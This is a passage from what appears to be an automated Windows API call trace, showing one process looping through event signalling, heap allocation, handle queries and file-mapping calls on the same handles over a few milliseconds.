ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.490] ResetEvent (hEvent=0xe8) returned 1 [0057.491] SetEvent (hEvent=0xec) returned 1 [0057.491] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.491] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.491] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.491] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.491] MapViewOfFile (hFileMappingObject=0x134, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x290000 [0057.491] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x290000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0xed0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0xed0048, ResultLength=0x0) returned 0xc0000098 [0057.491] UnmapViewOfFile (lpBaseAddress=0x290000) returned 1 [0057.491] ResetEvent (hEvent=0xe8) returned 1 [0057.491] SetEvent (hEvent=0xec) returned 1 [0057.491] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.491] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.491] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.491] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.491] ResetEvent (hEvent=0xe8) returned 1 [0057.491] SetEvent (hEvent=0xec) returned 1 [0057.491] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.492] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.492] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.492] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.492] ResetEvent (hEvent=0xe8) returned 1 [0057.492] SetEvent (hEvent=0xec) returned 1 [0057.492] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.492] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.492] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.492] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.492] ResetEvent (hEvent=0xe8) returned 1 [0057.492] SetEvent (hEvent=0xec) returned 1 [0057.492] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.492] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.492] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.492] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.492] ResetEvent (hEvent=0xe8) returned 1 [0057.492] SetEvent (hEvent=0xec) returned 1 [0057.493] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.493] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.493] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.493] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.493] ResetEvent (hEvent=0xe8) returned 1 [0057.493] SetEvent (hEvent=0xec) returned 1 [0057.493] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.493] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.493] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.493] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.493] ResetEvent (hEvent=0xe8) returned 1 [0057.493] SetEvent (hEvent=0xec) returned 1 [0057.493] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.493] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.493] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.493] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.493] ResetEvent (hEvent=0xe8) returned 1 [0057.493] SetEvent (hEvent=0xec) returned 1 [0057.494] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.494] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.494] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.494] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.494] ResetEvent (hEvent=0xe8) returned 1 [0057.494] SetEvent (hEvent=0xec) returned 1 [0057.494] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.494] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.494] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.494] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.494] MapViewOfFile (hFileMappingObject=0x134, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x290000 [0057.494] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x290000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0xed0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0xed0048, ResultLength=0x0) returned 0xc0000098 [0057.494] UnmapViewOfFile (lpBaseAddress=0x290000) returned 1 [0057.494] ResetEvent (hEvent=0xe8) returned 1 [0057.494] SetEvent (hEvent=0xec) returned 1 [0057.494] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.494] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.494] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.494] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.494] ResetEvent (hEvent=0xe8) returned 1 [0057.495] SetEvent (hEvent=0xec) returned 1 [0057.495] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.495] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.495] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.495] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.495] ResetEvent (hEvent=0xe8) returned 1 [0057.495] SetEvent (hEvent=0xec) returned 1 [0057.495] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.495] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.495] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.495] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.495] ResetEvent (hEvent=0xe8) returned 1 [0057.495] SetEvent (hEvent=0xec) returned 1 [0057.495] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.495] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.495] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.495] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.495] ResetEvent (hEvent=0xe8) returned 1 [0057.496] SetEvent (hEvent=0xec) returned 1 [0057.496] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.496] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.496] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.496] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.496] ResetEvent (hEvent=0xe8) returned 1 [0057.496] SetEvent (hEvent=0xec) returned 1 [0057.496] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.496] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.496] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.496] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.496] ResetEvent (hEvent=0xe8) returned 1 [0057.496] SetEvent (hEvent=0xec) returned 1 [0057.496] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.496] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.496] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.496] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.496] ResetEvent (hEvent=0xe8) returned 1 [0057.497] SetEvent (hEvent=0xec) returned 1 [0057.497] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.497] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.497] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.497] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.497] ResetEvent (hEvent=0xe8) returned 1 [0057.497] SetEvent (hEvent=0xec) returned 1 [0057.497] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.497] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.497] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.497] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.497] ResetEvent (hEvent=0xe8) returned 1 [0057.497] SetEvent (hEvent=0xec) returned 1 [0057.497] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.497] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.497] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.497] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.497] ResetEvent (hEvent=0xe8) returned 1 [0057.497] SetEvent (hEvent=0xec) returned 1 [0057.498] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.498] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.498] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.498] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.498] ResetEvent (hEvent=0xe8) returned 1 [0057.498] SetEvent (hEvent=0xec) returned 1 [0057.498] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.498] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.498] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.498] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.498] ResetEvent (hEvent=0xe8) returned 1 [0057.498] SetEvent (hEvent=0xec) returned 1 [0057.498] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.498] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.498] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.498] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.498] MapViewOfFile (hFileMappingObject=0x134, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x290000 [0057.499] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x290000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0xed0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0xed0048, ResultLength=0x0) returned 0xc0000098 [0057.499] UnmapViewOfFile (lpBaseAddress=0x290000) returned 1 [0057.499] ResetEvent (hEvent=0xe8) returned 1 [0057.499] SetEvent (hEvent=0xec) returned 1 [0057.499] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.499] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.499] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.499] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.499] ResetEvent (hEvent=0xe8) returned 1 [0057.499] SetEvent (hEvent=0xec) returned 1 [0057.499] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.499] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.499] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.499] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.499] ResetEvent (hEvent=0xe8) returned 1 [0057.499] SetEvent (hEvent=0xec) returned 1 [0057.499] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.500] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.500] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.500] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.500] ResetEvent (hEvent=0xe8) returned 1 [0057.500] SetEvent (hEvent=0xec) returned 1 [0057.500] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.500] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.500] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.500] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.500] MapViewOfFile (hFileMappingObject=0x134, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x290000 [0057.500] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x290000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0xed0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0xed0048, ResultLength=0x0) returned 0xc0000098 [0057.500] UnmapViewOfFile (lpBaseAddress=0x290000) returned 1 [0057.500] ResetEvent (hEvent=0xe8) returned 1 [0057.500] SetEvent (hEvent=0xec) returned 1 [0057.500] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.500] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.500] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.500] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.501] ResetEvent (hEvent=0xe8) returned 1 [0057.501] SetEvent (hEvent=0xec) returned 1 [0057.501] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.501] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.501] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.501] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.501] ResetEvent (hEvent=0xe8) returned 1 [0057.501] SetEvent (hEvent=0xec) returned 1 [0057.501] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.501] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.501] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.501] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.501] ResetEvent (hEvent=0xe8) returned 1 [0057.501] SetEvent (hEvent=0xec) returned 1 [0057.501] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.501] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.501] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.501] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.501] ResetEvent (hEvent=0xe8) returned 1 [0057.502] SetEvent (hEvent=0xec) returned 1 [0057.502] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.502] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.502] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.502] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.502] ResetEvent (hEvent=0xe8) returned 1 [0057.502] SetEvent (hEvent=0xec) returned 1 [0057.502] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.502] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.502] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.502] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.502] ResetEvent (hEvent=0xe8) returned 1 [0057.502] SetEvent (hEvent=0xec) returned 1 [0057.502] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.502] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.502] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.502] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.502] ResetEvent (hEvent=0xe8) returned 1 [0057.502] SetEvent (hEvent=0xec) returned 1 [0057.503] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.503] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.503] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.503] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.503] ResetEvent (hEvent=0xe8) returned 1 [0057.503] SetEvent (hEvent=0xec) returned 1 [0057.503] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.503] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.503] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.503] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.503] ResetEvent (hEvent=0xe8) returned 1 [0057.503] SetEvent (hEvent=0xec) returned 1 [0057.503] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.503] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.503] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.503] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.503] ResetEvent (hEvent=0xe8) returned 1 [0057.503] SetEvent (hEvent=0xec) returned 1 [0057.504] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.504] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.504] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.504] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.504] ResetEvent (hEvent=0xe8) returned 1 [0057.504] SetEvent (hEvent=0xec) returned 1 [0057.504] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.504] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.504] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 